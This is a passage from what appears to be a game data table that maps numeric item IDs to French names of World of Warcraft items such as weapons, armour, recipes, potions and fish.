Dal\'Rend",[12940]="Devoir sacré de Dal\'Rend",[12941]="Monster - Wand, Jeweled - B02 Red",[12942]="Clé de la cage de la panthère",[12943]="Monster - Staff, 3 Piece Taped Staff Red",[12944]="Monster - Sword, Golden Long",[12945]="Cuissards du duelliste chromatique",[12946]="Hypercapaciteur bidulotron",[12947]="Anneau d\'audace d\'Alex",[12949]="Monster - Sword2H, Red White Broad",[12950]="Monster - Mace2H, Warhammer Ebony",[12951]="Monster - Axe, 2H War - Red",[12952]="Crâne de Gyth",[12953]="Camail œil-de-dragon",[12954]="Libram de Davil",[12955]="Bouclier de Senterouge",[12956]="Crâne d\'Horgus",[12957]="Epée brisée de Marduk",[12958]="Recette : Transmutation d\'arcanite",[12959]="Monster - Staff, Demon Skull Staff",[12960]="Coiffure de plumes tribale",[12963]="Jambières de maître-lame",[12964]="Garde-jambes de Tristam",[12965]="Jambières des voiles spirituels",[12966]="Garde-bras de la brume noire",[12967]="Cape de la lune sanguine",[12968]="Cape de tisseur de givre",[12969]="Batte suintante",[12973]="Boulet de canon écarlate",[12974]="Le Chevalier noir",[12975]="Hache de prospecteur",[12976]="Lame œil-de-fer",[12977]="Gants poing-de-mage",[12978]="Ceinture porte-tempête",[12979]="Cape coupe-feu",[12980]="Monster - Shield, Wall Metal Silver",[12981]="Monster - Shield, Wall Metal Gold",[12982]="Protège-tibias à rivets d\'argent",[12983]="Massue de Rakzur",[12984]="Mande-ciel",[12985]="Anneau de défense",[12987]="Braies des ombres",[12988]="Tunique de vision stellaire",[12989]="Morsure de gargouille",[12990]="Tranchant-rasoir",[12991]="Monster - Dagger, Curvey Green Blade",[12992]="Lame brûlante",[12993]="Monster - Sword, Green Gold Scimitar",[12994]="Gantelets de Thorbia",[12995]="Monster - Shield, Horde A02 Steel",[12996]="Bague de purification",[12997]="Ecu à bordure rouge",[12998]="Mantelet de magicien",[12999]="Poignets aile-de-drake",[13000]="Bâton de Hale Magefeu",[13001]="Anneau de damoiselle",[13002]="Pendentif de dame Alizabeth",[13003]="Hache d\'armes du seigneur Alexandre",[13004]="Torche d\'Austen",[13005]="Couverture d\'Amy",[13006]="Masse de McGowan",[13007]="Cape des flammes magiques",[13008]="Chausses de Dalewind",[13009]="Peau du roi des vaches",[13010]="Garde-jambes des rêveurs",[13011]="Ceinture bordée d\'argent",[13012]="Brassards de Yorgen",[13013]="Mantelet d\'ancien sorcier",[13014]="Hache de Rin\'ji",[13015]="Serathil",[13016]="Démembreuse",[13017]="Hache d\'armes pieuse",[13018]="Fendoir d\'exécuteur",[13019]="Arc court griffe-de-harpie",[13020]="Arc de frappe céleste",[13021]="Darde-aiguilles",[13022]="Arc long aile-griffon",[13023]="Arc long cornedaigle",[13024]="Cogneur de Beazel",[13025]="Merlin de mort-bois",[13026]="Lumière des cieux",[13027]="Concass\'os",[13028]="Marteau pierre-de-sang",[13029]="Cristal umbral",[13030]="Os de basilic",[13031]="Orbe de Mantebrume",[13032]="Epée de corruption",[13033]="Lame de zélote",[13034]="Rapière d\'acier vivace",[13035]="Tranche-serpent",[13036]="Lame d\'assassinat",[13037]="Dardeur cristallin",[13038]="Vent-vif",[13039]="Arbalète fendeuse de crâne",[13040]="Arbalète crève-cœur",[13041]="Lame du gardien",[13042]="Epée du magistrat",[13043]="Lame des titans",[13044]="Tueuse-de-démon",[13045]="Marteau visqueux",[13046]="Castagneuse de Blanchard",[13047]="Brindille de l\'Arbre-Monde",[13048]="Martelet menaçant",[13049]="Claymore du décanat",[13050]="Monster - Staff, Ornate Jeweled Staff - Red",[13051]="Fureur sorcière",[13052]="Guerroyante",[13053]="Jugement dernier",[13054]="Faucheuse sinistre",[13055]="Mâche-les-os",[13056]="Frappeur frénétique",[13057]="Pique sanglante",[13058]="Pointe de Khoo",[13059]="Langue de corbeau",[13060]="L\'Aiguillonneur",[13061]="Monster - Staff, Green Crystal Sphere",[13062]="Tonnebois",[13063]="Météorique",[13064]="Boute-flammes de Jaina",[13065]="Baguette d\'Allistarj",[13066]="Spallières de tueur de wyrm",[13067]="Armure hydralique",[13068]="Grèves en obsidienne",[13069]="Monster - Staff, D01 Flaming Red",[13070]="Bottes en écailles de Saphiron",[13071]="Poings d\'Hakoo cuirassé",[13072]="Gantelets poigne-de-pierre",[13073]="Casque de Mugthol",[13074]="Jambières du golem",[13075]="Garde-jambes de l\'Aile redoutable",[13076]="Brassards de tueur de géant",[13077]="Ceinturon d\'Uther",[13078]="Monster - Staff, Pointed Red Crystal",[13079]="Bouclier de Thorsen",[13081]="Bouclier des forts",[13082]="Targe des montagnes",[13083]="Ecu de la famille Garrett",[13084]="Collier du kaléidoscope",[13085]="Sautoir de l\'horizon",[13086]="Rênes de sabre-de-givre de Berceau-de-l\'Hiver",[13087]="Amulette des fiers",[13088]="Charme de Gazleu",[13089]="Pendentif de Skibi",[13091]="Médaillon du connétable Morris",[13093]="Anneau de force spirituelle",[13094]="Le ferret de la reine",[13095]="Bague d\'assaut",[13096]="Bague du hiérophante",[13097]="Anneau foudroyant",[13098]="Bague tisse-douleur",[13099]="Mocassins du lapin blanc",[13100]="Bottes de Furen",[13101]="Chaussures de mène-loup",[13102]="Grâce de Cassandre",[13103]="Ailettes de l\'Araignée venimeuse",[13104]="Monster - Axe, Hatchet C03 Red",[13105]="Ceinture de Sutarn",[13106]="Bracelets magiques luminescents",[13107]="Crispins du magicrâne",[13108]="Manteau de frappe du tigre",[13109]="Cape de la flamme noire",[13110]="Harnais de peur lupine",[13111]="Sandales des insurgés",[13112]="Casque ailé",[13113]="Coiffure de Pennelune",[13114]="Jambières plaie-des-trolls",[13115]="Mantelet de berger",[13116]="Spallières de l\'invisible",[13117]="Echarpe d\'Ogron",[13118]="Echarpe serpentine",[13119]="Brassards de kodo enchantés",[13120]="Brassards de Furie-du-fond",[13121]="Aile du jeune dragonnet",[13122]="Cape du fantôme noir",[13123]="Armure de marcherêve",[13124]="Bottes en écailles de ravasaure",[13125]="Bottes en mailles elfiques",[13126]="Gantelets de guerroyeur",[13127]="Couronne du Froid destructeur",[13128]="Heaume de Bergg",[13129]="Jambières Crins-de-feu",[13130]="Garde-jambes coursevent",[13131]="Mantelet de nacrétoile",[13132]="Epaulières squelettiques",[13133]="Epaulettes drakefeu",[13134]="Ceinture du gladiateur",[13135]="Garde-bras seigneuriaux",[13136]="Sarbacane du p\'tit Timmy",[13137]="Tisseur de fer",[13138]="Le Museleur",[13139]="Crève-boyau",[13140]="Clé rouge sang",[13141]="Dent de Gnarr",[13142]="Ceinturon de Brigam",[13143]="Marque du seigneur dragon",[13144]="Ceinture de sérénité",[13145]="Enorme ceinture ogre",[13146]="Fusil lance-obus",[13147]="Monster - Bow, White",[13148]="Pique glaciale",[13150]="Monster - Sword2H, Claymore Blue",[13155]="Crâne résonnant",[13156]="Cristal mystique",[13157]="Crâne fétide",[13158]="Paroles du Grand Chef",[13159]="Poussière d\'os",[13160]="Monster - Sword2H, Claymore Silver",[13161]="Bâton de Trindehavre",[13162]="Griffes de rapineur",[13163]="Faux implacable",[13164]="Cœur de l\'écaille",[13165]="Monster - Sword, Long Silver - Green Pommel",[13166]="Epaulières Claque-feu",[13167]="Poing d\'Omokk",[13168]="Harnois du roi-chaman",[13169]="Jambières des grands esprits",[13170]="Jambières du voile céleste",[13171]="Boutefeu de Smokey",[13172]="Tabac de Siabi",[13173]="Hache de jet lamevol brisée",[13174]="Echantillon de chair pestiférée",[13175]="Arc de Voone",[13176]="Donnée du Fléau",[13177]="Talisman d\'évasion",[13178]="Anneau de rosette",[13179]="Garde-bras cœur-d\'airain",[13180]="Eau sacrée de Stratholme",[13181]="Gants en peau de démon",[13182]="Lame de phase",[13183]="Crache-venin",[13184]="Manicles frôle-chute",[13185]="Mantelet du prophète démembré",[13186]="Bouteille du Champ de Gangrepierre vide",[13187]="Bouteille des larmes de Dalson vide",[13188]="Bouteille du Repaire putride vide",[13189]="Bouteille de la Flétrissure de Gahrron vide",[13190]="Bouteille du Champ de Gangrepierre remplie",[13191]="Bouteille des Larmes de Dalson remplie",[13192]="Bouteille du Repaire putride remplie",[13193]="Bouteille de la Flétrissure de Gahrron remplie",[13194]="Clé du chaudron du Champ de Gangrepierre",[13195]="Clé du chaudron des Larmes de Dalson",[13196]="Clé du chaudron de la Flétrissure de Gahrron",[13197]="Clé du chaudron du Repaire putride",[13198]="Pilonneur de Hurd",[13199]="Manchettes de Cassecrête",[13202]="Annales complètes de Comté-de-Darrow",[13203]="Cape d\'éveil aux armes",[13204]="Bounnebaffeur",[13205]="Protecteur de Rhombeard",[13206]="Jambières du tondeur de loups",[13207]="Tête du seigneur des ténèbres Gangr\'dan",[13208]="Garde-bras du hurleur pâle",[13209]="Sceau de l\'Aube",[13210]="Souliers du loup terrifiant",[13211]="Brassards griffes-tranchantes",[13212]="Torque clouté d\'Halycon",[13213]="Oeil de Couveuse",[13216]="Couronne du pénitent",[13217]="Bague du pénitent",[13218]="Croc de l\'araignée de cristal",[13219]="Monster - Item, Holy Symbol Offhand",[13220]="Monster - Item, Holy Symbol",[13221]="Monster - Item, Staff Glowing Jeweled B01 Red Offhand",[13222]="Monster - Sword, Flaming Crimson Battlemage Longsword",[13243]="Défenseur d\'argent",[13244]="Gantelets dorés",[13245]="Carapace de Kresh",[13246]="Vengeresse d\'argent",[13248]="Arquebuse à chevrotines",[13249]="Croisé d\'argent",[13250]="Tête de Balnazzar",[13251]="Tête du baron Vaillefendre",[13252]="Ceinturon de funambule",[13253]="Mains de puissance",[13254]="Bouclier astral",[13255]="Gantelets du trait précis",[13257]="Spallières de runes démoniaques",[13258]="Gantelets en peau-mâchefer",[13259]="Protège-tibias nervurés",[13260]="Bottes de danseur du vent",[13261]="Globe de D\'sak",[13262]="Porte-cendres",[13282]="Bottes des prophètes",[13283]="Anneau de magus",[13284]="Bottes de guerre agiles",[13285]="Tranchoir rochenoire",[13286]="Transperçante",[13287]="Patron : Harnais en peau de raptor",[13288]="Patron : Ceinture en peau de raptor",[13289]="Pétoire d\'Egan",[13290]="Monster - Wand, Horde Purple Orb",[13292]="Monster - Wand, Horde Demon Skull",[13293]="Monster - Wand, Horde Dark Skull",[13302]="Clé de la boîte aux lettres de l\'allée du Marché",[13303]="Clé de la boîte aux lettres de la place des Croisés",[13304]="Clé de la boîte aux lettres de l\'allée du Festival",[13305]="Clé de la boîte aux lettres de la place des Anciens",[13306]="Clé de la boîte aux lettres de la place du Roi",[13307]="Clé de la boîte aux lettres de Fras Siabi",[13308]="Schéma : Pare-glace",[13309]="Schéma : Espingole amoureusement construite",[13310]="Schéma : Lunette de précision",[13311]="Schéma : Petit dragon mécanique",[13312]="Monster - Mace, Hammer Gold Orange",[13313]="Textes sacrés des Bien-nés",[13314]="Etreinte d\'Alanna",[13315]="Testament d\'espoir",[13316]="Monster - Sword2H, Claymore Silver Yellow Glow",[13317]="Sifflet de raptor ivoire",[13319]="Monster - Shield, Horde B03",[13320]="Catalyseur arcanique",[13321]="Mécanotrotteur vert",[13322]="Mécanotrotteur brut",[13325]="Fluorescent Green Mechanostrider",[13326]="Mécanotrotteur blanc modèle A",[13327]="Mécanotrotteur bleu clair modèle A",[13328]="Bélier noir",[13329]="Bélier de givre",[13331]="Cheval squelette rouge",[13332]="Cheval squelette bleu",[13333]="Cheval squelette bai",[13334]="Cheval de guerre squelette vert",[13335]="Rênes de destrier de la mort",[13336]="Monster - Staff, Feathered Black",[13337]="Monster - Staff, Feathered Gold",[13339]="Monster - Staff, Feathered Silver",[13340]="Cape du baron noir",[13341]="Monster - Item, Vial Yellow Offhand",[13344]="Gantelets dracoriens",[13345]="Sceau de Vaillefendre",[13346]="Robe de l\'exalté",[13347]="Cristal de Zin-Malor",[13348]="Cisaille démoniaque",[13349]="Sceptre de l\'Impie",[13350]="Insigne de la Garde noire",[13351]="Tablier du Forgeur de marteaux cramoisi",[13352]="Pierre du serpent de Vosh\'gajin",[13353]="Livre des morts",[13354]="Résonateur ectoplasmique",[13356]="Intensificateur somatique",[13357]="Agitateur osseux",[13358]="Epaulières Langue-de-wyrm",[13359]="Heaume de tyrannie",[13360]="Don des magi elfes",[13361]="Déchireuse de Stratholme",[13362]="Lettre du front",[13363]="Proclamation municipale",[13364]="Publicité de Fras Siabi",[13365]="Convocation au conseil municipal",[13366]="Jouet ingénieux",[13367]="Cadeau emballé",[13368]="Lacéreuse",[13369]="Cuissardes des esprits enflammés",[13370]="Focalisateur vitré",[13371]="Flamme du père",[13372]="Canne d\'esclavagiste",[13373]="Bague de chair",[13374]="Mantelet de voleur d\'âme",[13375]="Ecu de vindicte",[13376]="Cape du tribunal royal",[13377]="Boulets de canon miniatures",[13378]="Chemisette de l\'oiseau chanteur",[13379]="Piccolo des feux ardents",[13380]="Obusier portatif de Willey",[13381]="Bottes de maître canonnier",[13382]="Messager du boulet de canon",[13383]="Jambières du ménestrel",[13384]="Ceinturon arc-en-ciel",[13385]="Tome de connaissance",[13386]="Cape d\'archiviste",[13387]="Ceinturon de prévoyance",[13388]="Tunique du maître de poste",[13389]="Chausses du maître de poste",[13390]="Bandeau du maître de poste",[13391]="Bottines du maître de poste",[13392]="Sceau du maître de poste",[13393]="Disloqueur de Malown",[13394]="Etreinte glaciale de Krân",[13395]="Griffes d\'osselets de Krân",[13396]="Toucher fantomatique de Krân",[13397]="Cape de la gargouille peau-de-pierre",[13398]="Bottes du hurleur",[13399]="Serre déchiqueteuse de la gargouille",[13400]="Protège-bras du sadique",[13401]="La main cruelle de Timmy",[13402]="Galoches de Timmy",[13403]="Collet de Noirsang",[13404]="Masque du condamné",[13405]="Epaulières de hurleur Plaie-de-nuit",[13406]="Monster - Item, Mutton Offhand",[13407]="Monster - Item, Mutton with Bite Offhand",[13408]="Brise-âme",[13409]="Brassards des larmes",[13422]="Anguille pierre-écaille",[13423]="Huile de pierre-écaille",[13442]="Potion de rage puissante",[13443]="Potion de mana excellente",[13444]="Potion de mana majeure",[13445]="Elixir de défense excellente",[13446]="Potion de soins majeure",[13447]="Elixir des sages",[13448]="Titre de propriété de Caer Darrow",[13450]="Titre de propriété d\'Austrivage",[13451]="Titre de propriété de Moulin-de-Tarren",[13452]="Elixir de la mangouste",[13453]="Elixir de force de brute",[13454]="Elixir arcanique supérieur",[13455]="Potion de bouclier de pierre supérieure",[13456]="Potion de protection contre le Givre supérieure",[13457]="Potion de protection contre le Feu supérieure",[13458]="Potion de protection contre la Nature supérieure",[13459]="Potion de protection contre l\'Ombre supérieure",[13461]="Potion de protection contre les Arcanes supérieure",[13462]="Potion de purification",[13463]="Feuillerêve",[13464]="Sansam doré",[13465]="Sauge-argent des montagnes",[13466]="Chagrinelle",[13467]="Chapeglace",[13468]="Lotus noir",[13469]="Tête de Weldon Barov",[13470]="Tête d\'Alexi Barov",[13471]="Titre de propriété de Brill",[13473]="Porte-bonheur des Gangrepierre",[13474]="Fusil du fermier Dalson",[13475]="Alliance de la famille Dalson",[13476]="Recette : Potion de rage puissante",[13477]="Recette : Potion de mana excellente",[13478]="Recette : Elixir de défense excellente",[13479]="Recette : Elixir des sages",[13480]="Recette : Potion de Soins majeure",[13481]="Recette : Elixir de force de brute",[13482]="Recette : Transmutation de l\'Air en Feu",[13483]="Recette : Transmutation du Feu en Terre",[13484]="Recette : Transmutation de la Terre en Eau",[13485]="Recette : Transmutation de l\'Eau en Air",[13486]="Recette : Transmutation du Non-mort en Eau",[13487]="Recette : Transmutation de l\'Eau en Non-mort",[13488]="Recette : Transmutation de la Vie en Terre",[13489]="Recette : Transmutation de la Terre en Vie",[13490]="Recette : Potion de bouclier de pierre supérieure",[13491]="Recette : Elixir de la mangouste",[13492]="Recette : Potion de Purification",[13493]="Recette : Elixir arcanique supérieur",[13494]="Recette : Potion de protection contre le Feu supérieure",[13495]="Recette : Potion de protection contre le Givre supérieure",[13496]="Recette : Potion de protection contre la Nature supérieure",[13497]="Recette : Potion de protection contre les Arcanes supérieure",[13498]="Jambières de maître forgeron",[13499]="Recette : Potion de protection contre l\'Ombre supérieure",[13501]="Recette : Potion de mana majeure",[13502]="Ceinturon de maître forgeron",[13504]="Monster - Sword, Doomguard",[13505]="Lame runique du baron Vaillefendre",[13506]="Potion de pétrification",[13507]="Rapport du garde-falaise Longue-corne",[13508]="Oeil d\'Arachnida",[13509]="Etreinte de prévoyance",[13510]="Flacon des titans",[13511]="Flacon de sagesse distillée",[13512]="Flacon de pouvoir suprême",[13513]="Flacon de résistance chromatique",[13514]="Complainte de la banshee",[13515]="Eclairs de Ramstein",[13518]="Recette : Potion de pétrification",[13519]="Recette : Flacon des titans",[13520]="Recette : Flacon de sagesse distillée",[13521]="Recette : Flacon de pouvoir suprême",[13522]="Recette : Flacon de résistance chromatique",[13523]="Sang des innocents",[13524]="Crâne des ombres ardentes",[13525]="Doigts du sombre lien",[13526]="Ceinturon marqué par les flammes",[13527]="Grèves de marche-lave",[13528]="Brassards du vide crépusculaire",[13529]="Carcasse de Nerub\'enkan",[13530]="Sandalettes de Fangdrip",[13531]="Jambières des cryptes",[13532]="Griffes de la sombre fileuse",[13533]="Espauliers marqués à l\'acide",[13534]="Doigt de banshee",[13535]="Cafetan fantomatique de la Main froide",[13536]="Corne de l\'éveil",[13537]="Brassards glace-cuir",[13538]="Espauliers du grondevent",[13539]="Toucher de la banshee",[13542]="Boîte démoniaque",[13544]="Essence spectrale",[13545]="Crustacé",[13546]="Ventre-rouge",[13562]="Cadavre de Trey Sancteforge",[13582]="Laisse de zergling",[13583]="Collier de panda",[13584]="Pierre de Diablo",[13585]="Livre du souvenir",[13602]="Pierre de sort supérieure",[13603]="Pierre de sort majeure",[13604]="Monster - Item, Bucket - Wood Offhand",[13605]="Monster - Item, Bucket - Metal Dirty Offhand",[13606]="Monster - Item, Bucket - Metal Offhand",[13607]="Monster - Item, Bucket - Metal",[13609]="Monster - Item, Lantern - Round Offhand",[13610]="Monster - Item, Lantern - Square Offhand",[13611]="Monster - Hot Iron Poker Offhand",[13612]="Monster - Item, Glass - Purple Wine",[13622]="Monster - Staff, D01 Circling Black Skull",[13623]="Monster - Sword2H, Horde Skull Blue Flame",[13624]="Souvenir lié",[13625]="Monster - Axe, Horde B03 Copper",[13626]="Tête humaine de Ras Murmegivre",[13627]="Monster - Sword, Horde Jagged Blue",[13628]="Monster - Shield, Horde B04",[13629]="Monster - Shield, Horde C02",[13630]="Monster - Shield, Horde C03",[13631]="Monster - Spear, Badass Red",[13632]="Monster - Spear, Badass Blue",[13698]="Monster - Staff, Ornate Warlock Staff Black Glow Low",[13699]="Pierre de feu",[13700]="Pierre de feu supérieure",[13701]="Pierre de feu majeure",[13702]="Herbe maléfique",[13703]="Os de kodo",[13704]="Clé squelette",[13705]="Monster - Staff, Yellow Jeweled with Low Purple Glow",[13706]="Monster - Axe, 2H Horde Black Tombstone",[13707]="Monster - Sword, Horde Sword B04 Black",[13708]="Monster - Sword2H, Horde Massive Blue",[13709]="Monster - Staff Green Sphere Glowing",[13718]="Monster - Sword, Horde Jagged Red",[13719]="Monster - Sword, Horde Jagged Red w/ Low Yellow Glow",[13720]="Monster - Staff, Feathered Invert - Glow Black High",[13721]="Monster - Staff, Wooden Handle Spiral Head White",[13722]="Monster - Staff, Demon Skull Staff Low Purple Flame",[13723]="Monster - Staff, Wood w/ Spiral Head White Low Purple Glow",[13724]="Biscuit de manne enrichi",[13725]="Sac des horreurs de Krastinov",[13750]="Monster - Staff, Jeweled Blue Staff",[13751]="Monster - Staff, Jeweled Yellow Staff",[13752]="Souvenir lié",[13753]="Monster - Staff, Jeweled Green Staff",[13754]="Barracuda luisant cru",[13755]="Calmar hivernal",[13756]="Perche estivale crue",[13757]="Anguille électrique",[13758]="Rouget cru",[13759]="Lutjan nagenuit cru",[13760]="Saumon solécaille cru",[13761]="Oeufs congelés",[13810]="Fruit solaire béni",[13813]="Jus de fruit solaire béni",[13814]="Monster - Shield, Stromgarde B03",[13815]="Une rune",[13816]="Epée longue raffinée",[13817]="Estramaçon fuselé",[13818]="Hache dentelée",[13819]="Hache de guerre équilibrée",[13820]="Masse tape-dur",[13821]="Maillet volumineux",[13822]="Dague à pointes",[13823]="Bâton de guerre robuste",[13824]="Arc long à double courbure",[13825]="Mousquet chargé",[13850]="Munitions de Grondetrait",[13851]="Côtes de loup épicées",[13852]="Les ordres du Grand croisé",[13853]="Chair de ver putride",[13854]="Monster - Item, Tankard Dirty Offhand",[13855]="Monster - Item, Tankard Metal Offhand",[13856]="Ceinture en étoffe runique",[13857]="Tunique en étoffe runique",[13858]="Robe en étoffe runique",[13859]="Monster - Item, Tankard Wooden Offhand",[13860]="Cape en étoffe runique",[13861]="Monster - Item, Tankard Gold",[13863]="Gants en étoffe runique",[13864]="Bottes en étoffe runique",[13865]="Pantalon en étoffe runique",[13866]="Bandeau en étoffe runique",[13867]="Epaulières en étoffe runique",[13868]="Robe en tisse-givre",[13869]="Tunique en tisse-givre",[13870]="Gants en tisse-givre",[13871]="Pantalon en tisse-givre",[13872]="Fagot de bois",[13873]="Clé de la Chambre des visions",[13874]="Caisse lourde",[13875]="Coffre à fermetures en fer",[13876]="Mérou de 40 livres",[13877]="Mérou de 47 livres",[13878]="Mérou de 53 livres",[13879]="Mérou de 59 livres",[13880]="Mérou de 68 livres",[13881]="Rouget boursouflé",[13882]="Rouget de 42 livres",[13883]="Rouget de 45 livres",[13884]="Rouget de 49 livres",[13885]="Rouget de 34 livres",[13886]="Rouget de 37 livres",[13887]="Rouget de 52 livres",[13888]="Homard Pince-noire",[13889]="Saumon blanchécaille cru",[13890]="Poisson cuirassé",[13891]="Saumon boursouflé",[13892]="Kombobulateur kodo",[13893]="Grand barracuda cru",[13894]="Monster - Mace, Standard B01 White",[13895]="Dangui de cérémonie",[13896]="Hanbok nuptial vert foncé",[13897]="Hanbok traditionnel blanc",[13898]="Dangui royal",[13899]="Hanbok traditionnel rouge",[13900]="Hanbok nuptial vert",[13901]="Saumon de 15 livres",[13902]="Saumon de 18 livres",[13903]="Saumon de 22 livres",[13904]="Saumon de 25 livres",[13905]="Saumon de 29 livres",[13906]="Saumon de 32 livres",[13907]="Homard de 7 livres",[13908]="Homard de 9 livres",[13909]="Homard de 12 livres",[13910]="Homard de 15 livres",[13911]="Homard de 19 livres",[13912]="Homard de 21 livres",[13913]="Homard de 22 livres",[13914]="Barracuda de 70 livres",[13915]="Barracuda de 85 livres",[13916]="Barracuda de 92 livres",[13917]="Barracuda de 103 livres",[13918]="Coffre à fermetures renforcées",[13920]="Ecaille de dragon luisante",[13922]="Monster - Shield, B01 WoodSteelCap",[13924]="Monster - Gun, Tauren Scope Blade Feathered Silver Deluxe",[13925]="Monster - Mace2H, Maul B02 Silver",[13926]="Perle dorée",[13927]="Barracuda luisant cuit",[13928]="Calmar grillé",[13929]="Perche fumée",[13930]="Filet de rouget",[13931]="Soupe de lutjan nagenuit",[13932]="Saumon solécaille poché",[13933]="Ragoût de homard",[13934]="Steak de barracuda",[13935]="Pain de saumon",[13937]="Devoir du maître",[13938]="Poinçon en os",[13939]="Recette : Jaune-queue tacheté",[13940]="Recette : Barracuda luisant cuit",[13941]="Recette : Filet de rouget",[13942]="Recette : Calmar grillé",[13943]="Recette : Perche fumée",[13944]="Cuirasse de la pierre tombale",[13945]="Recette : Soupe de lutjan nagenuit",[13946]="Recette : Saumon solécaille poché",[13947]="Recette : Ragoût de homard",[13948]="Recette : Steak de barracuda",[13949]="Recette : Pain de saumon",[13950]="Lanière de détention",[13951]="Protège-bras de vigueur",[13952]="Trancheuse glacelame",[13953]="Croc silencieux",[13954]="Souliers verdoyants",[13955]="Epaulières de forme-pierre",[13956]="Etreinte d\'Andros",[13957]="Tranche-gargouilles",[13958]="Menottes de Wyrmthalak",[13959]="Corset d\'Omokk",[13960]="Cœur du démon",[13961]="Muselière d\'Halycon",[13962]="Bande de Vosh\'gajin",[13963]="Poignes de fer de Voone",[13964]="Lame sorcière",[13965]="Plaque de Main-noire",[13966]="Marque de tyrannie",[13967]="Grèves du Déchirevent",[13968]="Oeil de la Bête",[13969]="Brassières en faisceaux renforcés",[13982]="Lame de guerre de Caer Darrow",[13983]="Hache de guerre de la pierre tombale",[13984]="Pointe-de-Darrow",[13986]="Couronne de Caer Darrow",[14002]="Protecteur de Comté-de-Darrow",[14022]="Cloche des Barov",[14023]="Cloche des Barov",[14024]="Serre d\'effroi",[14025]="Ceinture de mystique",[14042]="Gilet en étoffe cendrée",[14043]="Gants en étoffe cendrée",[14044]="Cape en étoffe cendrée",[14045]="Pantalon en étoffe cendrée",[14046]="Sac en étoffe runique",[14047]="Etoffe runique",[14048]="Rouleau d\'étoffe runique",[14082]="Monster - Mace2H, Tirion Fordring",[14084]="Monster - Mace2H, Cairne Totem",[14085]="Monster - Glaive Vol\'jin",[14086]="Sandales perlées",[14087]="Crispins perlés",[14088]="Cape perlée",[14089]="Gants perlés",[14090]="Braies perlées",[14091]="Robe perlée",[14092]="Monster - Staff, Holy Staff Archbishop Benedictus",[14093]="Corde perlée",[14094]="Vareuse perlée",[14095]="Poignets indigènes",[14096]="Gilet indigène",[14097]="Pantalon indigène",[14098]="Cape indigène",[14099]="Echarpe indigène",[14100]="Robe en étoffe lumineuse",[14101]="Gants en étoffe lumineuse",[14102]="Protège-mains indigènes",[14103]="Cape en étoffe lumineuse",[14104]="Pantalon en étoffe lumineuse",[14105]="Monster - Bow, C01/B02 White",[14106]="Robe en gangrétoffe",[14107]="Pantalon en gangrétoffe",[14108]="Bottes en gangrétoffe",[14109]="Robe indigène",[14110]="Sandales indigènes",[14111]="Chaperon en gangrétoffe",[14112]="Epaulières en gangrétoffe",[14113]="Echarpe aborigène",[14114]="Bottillons aborigènes",[14115]="Poignets aborigènes",[14116]="Cape aborigène",[14117]="Gants aborigènes",[14118]="Monster - Bow, C02/B02 Black",[14119]="Pagne aborigène",[14120]="Robe aborigène",[14121]="Gilet aborigène",[14122]="Poignets rituels",[14123]="Cape rituelle",[14124]="Gants rituels",[14125]="Jambières rituelles",[14126]="Amict rituel",[14127]="Voile rituel",[14128]="Robe en tisse-sorcier",[14129]="Sandales rituelles",[14130]="Turban en tisse-sorcier",[14131]="Ceinture rituelle",[14132]="Jambières en tisse-sorcier",[14133]="Tunique rituelle",[14134]="Cape de feu",[14136]="Robe de la nuit hivernale",[14137]="Jambières en étoffe lunaire",[14138]="Gilet en étoffe lunaire",[14139]="Epaulières en étoffe lunaire",[14140]="Diadème en étoffe lunaire",[14141]="Gilet en tisse-fantôme",[14142]="Gants en tisse-fantôme",[14143]="Ceinture en tisse-fantôme",[14144]="Pantalon en tisse-fantôme",[14145]="Gangrelame maudite",[14146]="Gants de maîtrise magique",[14147]="Brassards cavernicoles",[14148]="Crispins cristallins",[14149]="Cape souterraine",[14150]="Robe d\'évocation",[14151]="Lame chantante",[14152]="Robe de l\'archimage",[14153]="Robe du Vide",[14154]="Habit de vraie foi",[14155]="Sac en étoffe lunaire",[14156]="Sac sans fond",[14157]="Mantelet païen",[14158]="Gilet païen",[14159]="Chaussures païennes",[14160]="Poignets païens",[14161]="Cape païenne",[14162]="Mitaines païennes",[14163]="Cafetan païen",[14164]="Ceinture païenne",[14165]="Braies païennes",[14166]="Brassards de boucanier",[14167]="Cape de boucanier",[14168]="Gants de boucanier",[14169]="Protège-épaules aborigènes",[14170]="Mantelet de boucanier",[14171]="Pantalon de boucanier",[14172]="Robe de boucanier",[14173]="Corde de boucanier",[14174]="Bottes de boucanier",[14175]="Chemise de boucanier",[14176]="Bottes de gardien",[14177]="Crispins de gardien",[14178]="Chapeau de gardien",[14179]="Cape de guetteur",[14180]="Pourpoint de gardien",[14181]="Protège-mains de gardien",[14182]="Mantelet de gardien",[14183]="Jambières de gardien",[14184]="Robe de gardien",[14185]="Cordelière de gardien",[14186]="Mantelet d\'invocateur de pluie",[14187]="Crispins d\'invocateur de pluie",[14188]="Cape d\'invocateur de pluie",[14189]="Capuche d\'invocateur de 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voile vénéneux",[14444]="Jambières du voile vénéneux",[14445]="Robe du voile vénéneux en soie",[14446]="Ceinture du voile vénéneux",[14447]="Souliers de Bien-né",[14448]="Bracelets de Bien-né",[14449]="Couronne de Bien-né",[14450]="Cape de Bien-né",[14451]="Gants de Bien-né",[14452]="Espauliers de Bien-né",[14453]="Robe de Bien-né",[14454]="Corde de Bien-né",[14455]="Gambison de Bien-né",[14456]="Gilet élunarien",[14457]="Crispins élunariens",[14458]="Bottes élunariennes",[14459]="Cape élunarienne",[14460]="Diadème élunarien",[14461]="Manicles élunariennes",[14462]="Sarong élunarien",[14463]="Spallières élunariennes",[14464]="Robe élunarienne en soie",[14465]="Ceinture élunarienne",[14466]="Patron : Tunique en tisse-givre",[14467]="Patron : Robe en tisse-givre",[14468]="Patron : Sac en étoffe runique",[14469]="Patron : Robe en étoffe runique",[14470]="Patron : Tunique en étoffe runique",[14471]="Patron : Gilet en étoffe cendrée",[14472]="Patron : Cape en étoffe runique",[14473]="Patron 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gangrétoffe",[14497]="Patron : Jambières en étoffe lunaire",[14498]="Patron : Bandeau en étoffe runique",[14499]="Patron : Sac en étoffe lunaire",[14500]="Patron : Robe en tisse-sorcier",[14501]="Patron : Gilet en étoffe lunaire",[14502]="Ceinturon morsure-de-givre",[14503]="Etreinte de la mort",[14504]="Patron : Epaulières en étoffe runique",[14505]="Patron : Turban en tisse-sorcier",[14506]="Patron : Robe en gangrétoffe",[14507]="Patron : Epaulières en étoffe lunaire",[14508]="Patron : Epaulières en gangrétoffe",[14509]="Patron : Diadème en étoffe lunaire",[14510]="Patron : Sac sans fond",[14511]="Patron : Gants de maîtrise magique",[14512]="Patron : Habit de vraie foi",[14513]="Patron : Robe de l\'archimage",[14514]="Patron : Robe du Vide",[14522]="Jambières du maelström",[14523]="Pioche 